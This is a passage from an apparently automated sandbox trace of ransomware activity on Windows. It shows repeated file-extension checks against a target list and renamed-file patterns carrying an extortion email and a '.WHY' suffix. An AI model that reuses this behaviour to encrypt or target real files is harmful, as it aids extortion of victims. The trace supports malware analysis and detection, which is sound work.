lpString2="xml") returned -1 [0222.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.206] lstrlenW (lpString=".dbf") returned 4 [0222.206] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.206] lstrlenW (lpString=".1cd") returned 4 [0222.207] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.207] lstrlenW (lpString=".jpg") returned 4 [0222.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.207] lstrlenW (lpString=".doc") returned 4 [0222.207] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.207] lstrlenW (lpString=".docx") returned 5 [0222.207] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0222.207] lstrlenW (lpString=".pdf") returned 4 [0222.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.208] lstrlenW (lpString=".xls") returned 4 [0222.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.208] lstrlenW (lpString=".xlsx") returned 5 [0222.208] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0222.208] lstrlenW (lpString=".ppt") returned 4 [0222.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.208] lstrlenW (lpString=".zip") returned 4 [0222.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.208] lstrlenW (lpString=".rar") returned 4 [0222.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.208] lstrlenW (lpString=".bz2") returned 4 [0222.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.208] lstrlenW (lpString=".7z") returned 3 [0222.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.209] lstrlenW (lpString=".dbf") returned 4 [0222.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.209] lstrlenW (lpString=".1cd") returned 4 [0222.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0222.209] lstrlenW (lpString=".jpg") returned 4 [0222.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.209] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.209] lstrlenW (lpString="ipsfin.xml") returned 10 [0222.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0222.210] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2658) returned 1 [0222.210] CloseHandle (hObject=0x378) returned 1 [0222.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0222.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0222.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.211] lstrlenW (lpString=".doc") returned 4 [0222.211] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.211] lstrlenW (lpString=".docx") returned 5 [0222.211] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.211] lstrlenW (lpString=".pdf") returned 4 [0222.211] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.211] lstrlenW (lpString=".xls") returned 4 [0222.211] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.211] lstrlenW (lpString=".xlsx") returned 5 [0222.211] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.212] lstrlenW (lpString=".ppt") returned 4 [0222.212] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.212] lstrlenW (lpString=".zip") returned 4 [0222.212] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.212] lstrlenW (lpString=".rar") returned 4 [0222.212] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.212] lstrlenW (lpString=".bz2") returned 4 [0222.212] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.212] lstrlenW (lpString=".7z") returned 3 [0222.212] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.213] lstrlenW (lpString=".dbf") returned 4 [0222.213] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.213] lstrlenW (lpString=".1cd") returned 4 [0222.213] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.213] lstrlenW (lpString=".jpg") returned 4 [0222.213] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.213] lstrlenW (lpString=".doc") returned 4 [0222.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0222.213] lstrlenW (lpString=".docx") returned 5 [0222.213] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0222.213] lstrlenW (lpString=".pdf") returned 4 [0222.214] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0222.214] lstrlenW (lpString=".xls") returned 4 [0222.214] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0222.214] lstrlenW (lpString=".xlsx") returned 5 [0222.214] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0222.214] lstrlenW (lpString=".ppt") returned 4 [0222.214] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0222.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.214] lstrlenW (lpString=".zip") returned 4 [0222.214] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0222.214] lstrlenW (lpString=".rar") returned 4 [0222.214] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0222.214] lstrlenW (lpString=".bz2") returned 4 [0222.214] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0222.215] lstrlenW (lpString=".7z") returned 3 [0222.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0222.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.215] lstrlenW (lpString=".dbf") returned 4 [0222.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0222.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.215] lstrlenW (lpString=".1cd") returned 4 [0222.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0222.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0222.215] lstrlenW (lpString=".jpg") returned 4 [0222.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0222.661] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0222.661] lstrlenW (lpString="ipsfra.xml") returned 10 [0222.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0223.036] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2628) returned 1 [0223.036] CloseHandle (hObject=0x320) returned 1 [0223.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0223.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0223.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.037] lstrlenW (lpString=".doc") returned 4 [0223.037] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.038] lstrlenW (lpString=".docx") returned 5 [0223.038] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0223.038] lstrlenW (lpString=".pdf") returned 4 [0223.038] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.038] lstrlenW (lpString=".xls") returned 4 [0223.038] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.038] lstrlenW (lpString=".xlsx") returned 5 [0223.038] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0223.038] lstrlenW (lpString=".ppt") returned 4 [0223.038] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.038] lstrlenW (lpString=".zip") returned 4 [0223.038] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.038] lstrlenW (lpString=".rar") returned 4 [0223.039] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.039] lstrlenW (lpString=".bz2") returned 4 [0223.039] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.039] lstrlenW (lpString=".7z") returned 3 [0223.039] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.039] lstrlenW (lpString=".dbf") returned 4 [0223.039] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.039] lstrlenW (lpString=".1cd") returned 4 [0223.039] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.040] lstrlenW (lpString=".jpg") returned 4 [0223.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.040] lstrlenW (lpString=".doc") returned 4 [0223.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.040] lstrlenW (lpString=".docx") returned 5 [0223.040] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0223.040] lstrlenW (lpString=".pdf") returned 4 [0223.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.040] lstrlenW (lpString=".xls") returned 4 [0223.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.041] lstrlenW (lpString=".xlsx") returned 5 [0223.041] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0223.041] lstrlenW (lpString=".ppt") returned 4 [0223.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.041] lstrlenW (lpString=".zip") returned 4 [0223.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.041] lstrlenW (lpString=".rar") returned 4 [0223.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.041] lstrlenW (lpString=".bz2") returned 4 [0223.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.041] lstrlenW (lpString=".7z") returned 3 [0223.042] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.042] lstrlenW (lpString=".dbf") returned 4 [0223.042] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.042] lstrlenW (lpString=".1cd") returned 4 [0223.042] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0223.042] lstrlenW (lpString=".jpg") returned 4 [0223.042] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.043] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0223.044] lstrlenW (lpString="ipsptb.xml") returned 10 [0223.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0223.045] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2246) returned 1 [0223.045] CloseHandle (hObject=0x320) returned 1 [0223.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0223.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0223.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.046] lstrlenW (lpString=".doc") returned 4 [0223.046] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.046] lstrlenW (lpString=".docx") returned 5 [0223.046] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0223.046] lstrlenW (lpString=".pdf") returned 4 [0223.046] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.046] lstrlenW (lpString=".xls") returned 4 [0223.046] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.046] lstrlenW (lpString=".xlsx") returned 5 [0223.046] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0223.046] lstrlenW (lpString=".ppt") returned 4 [0223.046] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.047] lstrlenW (lpString=".zip") returned 4 [0223.047] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.047] lstrlenW (lpString=".rar") returned 4 [0223.047] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.047] lstrlenW (lpString=".bz2") returned 4 [0223.047] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.047] lstrlenW (lpString=".7z") returned 3 [0223.047] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.047] lstrlenW (lpString=".dbf") returned 4 [0223.048] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.048] lstrlenW (lpString=".1cd") returned 4 [0223.048] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.048] lstrlenW (lpString=".jpg") returned 4 [0223.048] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.048] lstrlenW (lpString=".doc") returned 4 [0223.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.048] lstrlenW (lpString=".docx") returned 5 [0223.049] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0223.049] lstrlenW (lpString=".pdf") returned 4 [0223.049] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.049] lstrlenW (lpString=".xls") returned 4 [0223.049] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.049] lstrlenW (lpString=".xlsx") returned 5 [0223.049] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0223.049] lstrlenW (lpString=".ppt") returned 4 [0223.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.049] lstrlenW (lpString=".zip") returned 4 [0223.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.050] lstrlenW (lpString=".rar") returned 4 [0223.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.050] lstrlenW (lpString=".bz2") returned 4 [0223.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.050] lstrlenW (lpString=".7z") returned 3 [0223.050] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.050] lstrlenW (lpString=".dbf") returned 4 [0223.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.051] lstrlenW (lpString=".1cd") returned 4 [0223.051] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml") returned 61 [0223.051] lstrlenW (lpString=".jpg") returned 4 [0223.051] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.052] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0223.052] lstrlenW (lpString="ipsptg.xml") returned 10 [0223.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0223.052] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2240) returned 1 [0223.053] CloseHandle (hObject=0x320) returned 1 [0223.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0223.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0223.053] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.054] lstrlenW (lpString=".doc") returned 4 [0223.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.054] lstrlenW (lpString=".docx") returned 5 [0223.054] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0223.054] lstrlenW (lpString=".pdf") returned 4 [0223.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.054] lstrlenW (lpString=".xls") returned 4 [0223.054] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.054] lstrlenW (lpString=".xlsx") returned 5 [0223.054] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0223.054] lstrlenW (lpString=".ppt") returned 4 [0223.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.055] lstrlenW (lpString=".zip") returned 4 [0223.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.055] lstrlenW (lpString=".rar") returned 4 [0223.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.055] lstrlenW (lpString=".bz2") returned 4 [0223.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.055] lstrlenW (lpString=".7z") returned 3 [0223.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.055] lstrlenW (lpString=".dbf") returned 4 [0223.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.056] lstrlenW (lpString=".1cd") returned 4 [0223.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.056] lstrlenW (lpString=".jpg") returned 4 [0223.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.056] lstrlenW (lpString=".doc") returned 4 [0223.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0223.056] lstrlenW (lpString=".docx") returned 5 [0223.057] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0223.057] lstrlenW (lpString=".pdf") returned 4 [0223.057] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0223.057] lstrlenW (lpString=".xls") returned 4 [0223.057] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0223.057] lstrlenW (lpString=".xlsx") returned 5 [0223.057] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0223.057] lstrlenW (lpString=".ppt") returned 4 [0223.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0223.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.057] lstrlenW (lpString=".zip") returned 4 [0223.058] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0223.058] lstrlenW (lpString=".rar") returned 4 [0223.058] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0223.058] lstrlenW (lpString=".bz2") returned 4 [0223.058] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0223.058] lstrlenW (lpString=".7z") returned 3 [0223.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0223.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.059] lstrlenW (lpString=".dbf") returned 4 [0223.059] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0223.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.059] lstrlenW (lpString=".1cd") returned 4 [0223.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0223.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml") returned 61 [0223.059] lstrlenW (lpString=".jpg") returned 4 [0223.060] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0223.060] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0223.060] lstrlenW (lpString="ipsrom.xml") returned 10 [0223.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0223.061] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2644) returned 1 [0223.061] CloseHandle (hObject=0x320) returned 1 [0223.061] GetFileAttributesW 